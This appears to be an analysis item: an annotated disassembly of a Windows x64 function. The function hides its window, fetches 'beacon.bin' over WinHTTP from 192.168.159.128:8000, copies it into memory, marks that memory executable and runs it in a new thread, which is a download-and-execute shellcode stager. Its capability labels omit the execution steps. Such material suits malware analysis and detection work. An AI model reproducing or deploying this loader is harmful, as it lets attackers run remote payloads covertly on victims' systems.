Function at 0x1400017f4
Capabilities:
Hide graphical window
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xa8
call fcn.140001cfe
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rcx, rax
mov edx, 0
call qword [sym.imp.USER32.dll_ShowWindow]
mov dword [rsp + 0x9c], 0
mov dword [rsp + 0x98], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rcx, str.WinHTTP_Example_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rsp + 0x60], rax
mov rcx, rax
test rax, rax
je 0x140001b1d
mov r9d, 0
mov r8d, 0x1f40
lea rdx, str.192.168.159.128
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rsp + 0x68], rax
mov rcx, rax
test rax, rax
je 0x140001c44
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.beacon.bin
lea rdx, [0x14000405e]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r12, rax
test rax, rax
je 0x140001b2a
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x140001b2a
mov edx, 0
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov ebx, eax
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x88], 0x60000
lea rdx, [rsp + 0x90]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
lea r9, [rsp + 0x88]
mov r8d, 0
mov rcx, 0xffffffffffffffff
call fcn.1400016a7
mov rsi, qword [rsp + 0x90]
test ebx, ebx
je 0x140001a0f
lea r15, [rsp + 0x9c]
mov r14, qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov r13, qword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov dword [rsp + 0x9c], 0
mov rdx, r15
mov rcx, r12
call r14
mov edi, dword [rsp + 0x9c]
lea ebp, [rdi + 1]
mov edx, 1
mov rcx, rbp
call sub.msvcrt.dll_calloc
mov rbx, rax
mov r8, rbp
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
lea r9, [rsp + 0x98]
mov r8d, edi
mov rdx, rbx
mov rcx, r12
call r13
mov r8d, dword [rsp + 0x9c]
mov rdx, rbx
mov rcx, rsi
call fcn.1400017b0
mov edi, dword [rsp + 0x9c]
mov eax, edi
add rsi, rax
mov rcx, rbx
call sub.msvcrt.dll_free
test edi, edi
jne 0x140001992
mov dword [rsp + 0x84], 0
lea rdx, [rsp + 0x90]
lea rax, [rsp + 0x84]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
lea r8, [rsp + 0x88]
mov rcx, 0xffffffffffffffff
call fcn.1400016e9
mov qword [rsp + 0x78], 0xffffffffffffffff
lea rbx, [rsp + 0x78]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9, 0xffffffffffffffff
mov r8d, 0
mov edx, 0x1fffff
mov rcx, rbx
call fcn.14000172b
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rbx
mov ecx, 1
call fcn.14000176d
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rax, qword [rsp + 0x68]
test rax, rax
je 0x140001af1
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rax, qword [rsp + 0x60]
test rax, rax
je 0x140001b04
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov eax, 0
add rsp, 0xa8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0x60]
mov r12, rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x88], 0x60000
lea rsi, [rsp + 0x88]
lea rbx, [rsp + 0x90]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
mov r9, rsi
mov r8d, 0
mov rdx, rbx
mov rcx, 0xffffffffffffffff
call fcn.1400016a7
mov dword [rsp + 0x84], 0
lea rax, [rsp + 0x84]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
mov r8, rsi
mov rdx, rbx
mov rcx, 0xffffffffffffffff
call fcn.1400016e9
mov qword [rsp + 0x78], 0xffffffffffffffff
lea rbx, [rsp + 0x78]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9, 0xffffffffffffffff
mov r8d, 0
mov edx, 0x1fffff
mov rcx, rbx
call fcn.14000172b
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rbx
mov ecx, 1
call fcn.14000176d
test r12, r12
je 0x140001ade
jmp 0x140001ad5
mov r12, qword [rsp + 0x68]
jmp 0x140001b2a